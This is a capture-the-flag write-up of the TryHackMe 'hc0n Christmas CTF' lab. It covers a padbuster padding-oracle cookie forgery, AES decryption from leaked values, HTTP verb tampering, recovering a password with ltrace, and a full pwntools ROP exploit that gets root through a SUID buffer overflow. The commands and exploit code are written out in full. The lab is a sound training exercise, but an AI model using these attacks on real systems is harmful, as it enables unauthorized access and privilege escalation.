verox›hc0n Christmas CTF

hc0n Christmas CTF

hc0n Christmas CTF cover

Room: https://tryhackme.com/room/hc0nchristmasctf

Honestly one of the harder boxes I have done on THM. Every technique clicked eventually, but nothing came easy. I hit dead ends, wrong assumptions, and had to backtrack more than once. Ended up being one of those challenges that's genuinely satisfying once root pops, because you know you earned it.

room banner

#recon

started with a full port scan.

nmap -sC -sV -p- -T4 <target IP>

nmap scan

Three ports open

22 80 8080

#poking the website

ran gobuster against port 80 to see what's actually there.

gobuster dir -u http://<target IP>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php

gobuster

got login.php, register.php, an /admin dir, and a robots.txt. checked robots.txt first since it's free info.

curl http://<target IP>/robots.txt

robots.txt

jackpot. it names the admin username straight up administratorhc0nwithyhackme and points at iv.png.

#the admin apk (dead end, but worth checking)

/admin/ had an apk sitting there in a directory listing. pulled it down and ran it through jadx.

jadx -d java_sources app-release.apk

inside, the app's enc()/dec() methods confirm it's using AES/CBC/PKCS5Padding.

registered an account, logged in, grabbed the hcon session cookie from devtools.

hcon = tWFjhrztc6CU%2BaQt4b%2FHzuN7JHhIAM65

decoded that's 24 bytes, so 8-byte blocks.

checked for an oracle first before committing to a full padbuster run tampering with the last byte of the cookie changed the response size massively (1488 bytes valid vs 15 bytes tampered), so yeah, there's a real oracle here.

ran padbuster to decrypt the cookie and confirm what we're working with:

padbuster http://<target IP>/login.php tWFjhrztc6CU%2BaQt4b%2FHzuN7JHhIAM65 8 --cookies "hcon=tWFjhrztc6CU%2BaQt4b%2FHzuN7JHhIAM65" --encoding 0

padbuster decrypt

decrypts to user=verox my own username, so the cookie format is confirmed as user=<name>. now forge one for the admin account using the same oracle in encrypt mode:

padbuster http://<target IP>/login.php tWFjhrztc6CU%2BaQt4b%2FHzuN7JHhIAM65 8 --cookies "hcon=tWFjhrztc6CU%2BaQt4b%2FHzuN7JHhIAM65" --encoding 0 -plaintext user=administratorhc0nwithyhackme

padbuster forge admin cookie

got a forged ciphertext back. dropped it into the hcon cookie value in the browser and hit the homepage.

admin auth + secret key leak

logged in as administratorhc0nwithyhackme, and the page straight up prints the AES key: hconkwith******. padding oracle fully paid off.

#the runes

back to iv.png from robots.txt.

iv runes

11 glyphs, cicada 3301 style Gematria Primus runes. matched each one against the chart by hand, got:

THEIVFORINGEOAEY

16 characters, clean AES-128 IV length, lines up with the 16-char key from the admin leak. good sign it's right.

#decrypting port 8080

now had all three pieces: key hconkwithyhackme, IV THEIVFORINGEOAEY, and the ciphertext from port 8080 (RwO9+7tuGJ3nc1cIhN4E31WV/qeYGLURrcS7K+Af85w=).

port 8080 ciphertext

With all the available information (Ciphertext, secret key and IV), we can proceed and decode the AES-CBC block ciphertext with an online tool.

output: user ssh <3 thedarktangent so the ssh username is thedarktangent.

#password part 1 — http verb tampering

still had /hide-folders/ from the gobuster run, with two subdirs inside.

hide-folders listing

/hide-folders/1/ returns 405 on a normal GET.

405 method not allowed

swapped the verb to OPTIONS instead:

curl -s -X OPTIONS http://<target IP>/hide-folders/1/

response came back with: hax0r :3 you win firts part of the ssh password and the password chunk Gf7MRr55.

#password part 2 — reversing the binary

/hide-folders/2/ had a file called hola, 8.6K.

hola binary

curl -O http://<target IP>/hide-folders/2/holafile hola

confirmed ELF 64-bit, not stripped. ran strings first looking for a hardcoded password, came up empty the check isn't a plain string comparison. went straight to ltrace instead of firing up a full disassembler:

chmod +x ./holaltrace -s 100 ./hola

typed in a throwaway username/password (stuxnet / aaa) and watched the trace:

ltrace password reveal

strcmp("aaa", "n$@#PDuliL") there's the real password sitting right in the trace. way faster than digging through a disassembler by hand.

#user flag

ssh'd in with thedarktangent and the combined password Gf7MRr55n$@#PDuliL.

ssh thedarktangent@<target IP>

ssh login

cat user.txt

user flag

user flag: thm{hc0n_*********_******}

#privesc — suid binary

ls -la in the home dir shows a SUID binary owned by root:

-rwsrwsr-x 1 root root 8952 Dec 10 2019 hc0n

pulled it down to my kali box to reverse it properly (scp was acting up on this box for some reason, so grabbed it over base64 through the ssh session instead):

ssh thedarktangent@<target IP> "base64 /home/thedarktangent/hc0n" > hc0n.b64base64 -d hc0n.b64 > hc0nchmod +x hc0n

#finding the offset

threw 200 As at it to check for a crash:

python3 -c "print('A'*200)" > A.ingdb -q ./hc0nr < A.in

RBP got overwritten with 0x4141414141414141, straight SIGSEGV. confirmed exploitable.

used a cyclic pattern instead of guessing offsets manually:

r < <(python3 -c "import sys; sys.stdout.buffer.write(__import__('subprocess').check_output(['cyclic','200']))")

crash landed with RBP = maaanaaa. ran it through pwntools' offset lookup:

pwn cyclic -l maaanaaa

cyclic offset

offset is 48. add 8 bytes for the saved return address on 64-bit, so 56 bytes of junk before we control RIP.

#confirming RIP control

python3 -c "import syspayload = b'A'*56 + b'\x43\x43\x42\x42\xfe\xfe\xff\xff'sys.stdout.buffer.write(payload)" > payload.ingdb -q ./hc0nr < payload.in

rip control confirmed

RIP = 0xfffffefe42424343 exactly the bytes planted. full control at offset 56, confirmed.

#building the rop chain

pulled gadgets with ROPgadget:

ROPgadget --binary hc0n --string '/bin/sh'ROPgadget --binary hc0n --only 'pop|ret'ROPgadget --binary hc0n --only 'syscall'

got everything needed for an execve("/bin/sh", NULL, NULL):

/bin/sh string : 0x4006f8pop rax ; ret  : 0x40061fpop rdi ; ret  : 0x400604pop rsi ; ret  : 0x40060dpop rdx ; ret  : 0x400616syscall        : 0x4005fa

wrote the exploit with pwntools, connects over ssh, runs the suid binary remotely, sends the rop chain:

from pwn import * HOST = "<target IP>"PORT = 22 def exploit(r):    pop_rax = 0x40061f    pop_rdi = 0x400604    pop_rsi = 0x40060d    pop_rdx = 0x400616    bin_sh  = 0x4006f8    syscall = 0x4005fa     payload  = b"A" * 56    payload += p64(pop_rax)    payload += p64(59)    payload += p64(pop_rdi)    payload += p64(bin_sh)    payload += p64(pop_rsi)    payload += p64(0x0)    payload += p64(pop_rdx)    payload += p64(0x0)    payload += p64(syscall)     print(r.recvline())    r.sendline(payload)    r.interactive() if __name__ == "__main__":    r = ssh(host=HOST, port=PORT, user="thedarktangent", password="Gf7MRr55n$@#PDuliL")    s = r.run("./hc0n")    exploit(s)

ran it:

python3 exploit.py

exploit landing root shell

dropped into a # prompt. checked it wasn't just cosmetic:

idwhoamicat /root/root.txt

root flag

uid=0(root) confirmed, and the flag's right there.

root flag: thm{3xplo1t_**_****}

good box, lot of different skills touched in one go.

New content available